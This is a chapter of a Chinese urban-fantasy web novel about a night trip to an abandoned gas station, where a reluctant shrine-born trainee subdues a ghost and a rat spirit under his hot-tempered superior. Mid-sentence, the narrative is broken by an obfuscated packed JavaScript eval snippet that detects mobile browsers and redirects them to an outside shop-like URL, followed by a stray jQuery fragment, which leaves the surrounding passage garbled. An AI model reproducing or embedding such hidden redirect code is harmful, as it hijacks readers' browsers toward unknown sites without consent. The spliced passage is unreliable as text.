京南市，凌晨两点，两台车一前一后出发，鹿比的红色轿车里坐着的是金胜男和她自己，以及丰月。


    丰月不是很想坐这种车，他是希望司机带他去的。


    但金胜男的拳脚威胁下他立刻变得乖巧听话。


    并非是他打不过金胜男，而是她不一样，他不能，也不敢。


    因此丰月在心中把她放在……大概是和堂姐的男人一个位置，背后都有黑恶势力。


    后面跟着的赵元青唉声叹气，这车怎么就要报废了呢，她都和它有感情了。虽然它油耗高，但是很结实，这么多年也没怎么修过。


    看看，这方向盘，看看，这后视镜，她都用布擦过的。


    可以说是感情很深。


    燕椿和在浏览车子，他对工具没什么感情，总之安全性要最高，空间要足够，舒适度不能差，设计要简洁低调，符合妻子的日常习惯。夜里已经有些寒意，他用手肘撑在车窗，另一只手慢慢划动，最终，几款以坚固耐用著称的SUV被默默加入了备选清单。


    方跃街越来越近了。导航显示还有不到十分钟车程。那地方位于城郊结合部，以废弃工厂、廉价物流仓库闻名。路灯稀疏，光线昏暗，道路两旁是黑黢黢的荒地、半人高的枯草和偶尔掠过视野的破旧围墙轮廓。四周万籁俱寂。


    前方的红色轿车速度微微放缓，最终停在了一个老旧加油站门口。


    赵元青也逐渐松开油门停车，她微微“啊……”了一声，燕椿和顺着她的眼神望去。


    一个咧着夸张大嘴、眼睛弯成诡异弧度的卡通老鼠头像，正对着他们无声地笑。加油站便利店门口一个徘徊的身影吸引在来回飘着，一个穿着加油制服的年轻女人，脸色苍白得吓人，眼神直勾勾地盯着外面的方向，身体微微发抖。她制服胸口的铭牌上也贴着那只老鼠，它的眼睛似乎正幽幽地看着外面的车子和人。


    一丝极淡的、不属于活人的阴冷气息飘了过来。


    所有人下车看着，加油站内部，金胜男带着让我来考考你的语气问丰月：“现在这种情况我们应该……？”她把尾音拉的极长。


    丰月面无表情看她一眼。


    “唉呀，应该上报，你咋回事？瞅不出来吗？这不是那女的的问题，是老鼠的问题。来，跟我重复一遍，碰到这种情况应该咋办？”


    鹿比张大嘴巴看着加油站，良久发出惊讶的声音：“这么大的地方，不是，这对吗？没人路过吗？”


    “嗐，白天肯定不这样，这老鼠又不想死，晚上鸟悄打点野食得了。这是俩纠缠到一起了，那老鼠估么着拿这女的挡刀呢，冲着便利店去的，自己美滋滋搁后头享福，我跟你说，你要不是有那条蛇，你都瞅不着。”金胜男说着扔给丰月一个小型设备，“喏，执法记录仪，别误伤啊，妖怪抓，小鬼驱，能不杀生就别杀生。杀过人的杀掉。和动物一个处理办法。”


    丰月冷冷接过执法记录仪带在身上，但他没有动。


    “我是你上级，我允许了，直接去吧。但你下回碰上这种事得提前和我打招呼啊。”


    他依然没动。


    这回赵元青也纳闷了，她走过去问他：“怎么了？”


    丰月咬牙切齿：“我！我不会抓，只能杀！”


    所有人都没想到他一直没进去的原因是这个，金胜男刚要大惊小怪加阴阳怪气，立刻被鹿比捂住嘴拉到一边：“别说了别说了，他要破大防了，我很了解那边，小气的很，你别说了。”


    赵元青挠挠头：“藤呢？拿藤捆上不完了？”她才不进去，里面看起来很臭，隔这么老远都能闻到食物腐烂的臭味。


    “你让我拿藤捆老鼠？这何等轻慢！”丰月的声音陡然拔高，带着一种被侮辱的震惊和难以言喻的憋屈。


    赵元青被丰月激烈的反应吓了一跳，茫然地挠了挠头：“啊？捆、捆一下都不行啊？那你打晕它不完了？我有棍子，你要吗？”


    她说完回车上取了撬棍递给他。


    也没什么好选择，丰月只得接过戴上口罩不情不愿地往里面走，走到一般又回头问金胜男：“金小姐……您不跟着我吗？”


    金胜男摇头：“这破活没人接很久了，你去吧，大家都嫌臭。我和你说了，是新手任务，你肯定没问题。”


    丰月也没什么办法，只得步履沉重地走过去。


    在外面的四个人看见便利店内的灯光诡异地闪了闪，在门口徘徊的女鬼瞬间如灌入灵魂一样变得狰狞朝丰月扑过去。


    丰月退后两步，又立刻跑了回来。


    所有人一脸不忍直视。


    “不是，大哥，你干啥呢？你有没有素质啊？你这不浪费人家感情吗？那女的都通电了，结果你跑了，你啥意思啊？”金胜男语气充满了难以置信的抓狂。


    丰月忍气吞声解释：“不杀我不知道怎么办！”


    金胜男骂骂咧咧：“废物！”拿起自己的铁尺怒气冲冲走到便利店门口一铁尺给那女鬼扇的浊气顿消，她周身翻腾的浓郁怨气和阴寒浊气，竟然被这一铁尺硬生生拍散了！


    女鬼茫然眨眨眼，似乎完全不明白发生了什么，自己为什么会站在这里。


    刚要开口，金胜男怒视她：“滚，不听故事，自己消化，跑深山老林里待着！别让我瞅着你嗷！”


    三十岁左右的女人身影慢慢消失。


    金胜男回头又怒气冲冲走到丰月面前：“干什么玩意呢你？你当这开玩笑呢？能干干不能干滚，我真给你好脸了是不是？赶紧滚过去，不然我抽死你！”


    赵元青也看明白了，这对金胜男来说是一份很神圣的工作，丰月态度确实有些差劲，他能干，他就是嫌弃不干净。


    她叹了口气，走过去开口：“我带他去吧，我跟着他，毕竟我堂弟。”


    她这话说完一直沉默旁观的燕椿和却微微皱起了眉头，眼神中闪过一丝明显的不高兴。


    他温吞地走上前，站在妻子身旁看向丰月：“丰月先生出身神社，姿态高洁，诸位又何必勉强？”


    他这话说完大家都有些沉默。


    金胜男身后的狐狸都张开眼睛看着这个男人，她开了外挂，理解


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902108|191876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的更快一些，立刻点头：“啊对，那什么，回去吧，没意思。”她表情暗爽。


    赵元青也笑了一声，唉，这家伙。


    丰月眼神惊疑不定，听着是夸他，但从堂姐的笑看起来又不像夸，可这时众人已经开始回车上了，他匆忙之下立刻喊：“别，别，我进去。”


    他扔了撬棍开始全副武装，带着面罩、手套，穿着防护服脚步沉重地往里面走去。


    便利店的门被打开，灯光霎时全亮，门“砰”地一声合上时，光瞬间暗下。


    赵元青无聊地靠在燕椿和身上等，鹿比经过金胜男的解释这时候才反应过来，金胜男解释完还感慨：“文化人儿啊，看不出来啊，她喜欢这种又有素质又没素质的类型。”


    赵元青笑了一下，其实燕椿和很少这样讥讽人，他比较吝惜言语，只动手。


    燕椿和伸手搂住她看向便利店，眼神平静，他在思考后续的安排，对他来说，丰月舍本逐末，可笑可叹。


    啊……不能嘲笑，他立刻认认真真反思自己。


    便利店的门“吱呀”一声被推开，丰月的身影重新出现在昏黄的光线下。


    他出来了，速度确实不慢，后面跟着个大概一米六多的灰色衣服男人，尖嘴猴腮，眼神畏缩，随着二人的靠近，一股浓烈的、混杂着食物腐臭、血腥和某种动物腥臊的气味弥漫开来。


    赵元青叹了口气：“……辛苦了。”


    金胜男显然对这个结果还算满意，“记录仪给我。”


    丰月开始慢慢脱掉他带来的防护服，摘掉面罩，眼神麻木递给她记录仪，“他怎么处理？”


    金胜男从口袋里掏出一个纪念塑料袋，噗通套在那男人脑袋上，有吱哇乱叫的声音，然后，男人不见了，她把口袋打结后拴在手上：“哎，肯定乡下跑来的，回头统一交给后勤放回去。这袋子回头你自己打申请领啊。回头我拉你进系统。”


    丰月已经完全生不起计较的心，只眼神木木地叹了口气。


    众人驱车回家。


    金胜男一脚油门，红色轿车率先冲了出去，赵元青跟在后面，她瞥他一眼开口：“你先别想，就这样吧。还能救救。”


    “……”他含恨瞪她，“我想什么了？”


    她慢慢踩油门开车，“你想把他赶出去，你觉得他不堪大用。”


    这四个字逗笑燕椿和，但他没否认。


    “多少有点吧，他挺吝啬付出的，但人不都那样吗？还能救一救。他比黑曜石像人……”哎？对了，黑曜石哪去了？是还在交接工作吗？


    这念头像流星一样划过，但也只是划过。


    她又重新说起现实话题：“丰月先干一阵子，不用管他，他太会偷懒。你快看车，看完咱们去买。”


    话音刚落，电话响了，燕椿和接起来。


    “哎？阿青，宵夜去不咯？小区楼下，我说和胜男喝点儿，她吹牛呢，说酒量比我牛。”鹿比显然心情很好。


    “……”


    她顶着燕椿和漂亮而凶戾的眼神婉拒了，反正本来她也不想去。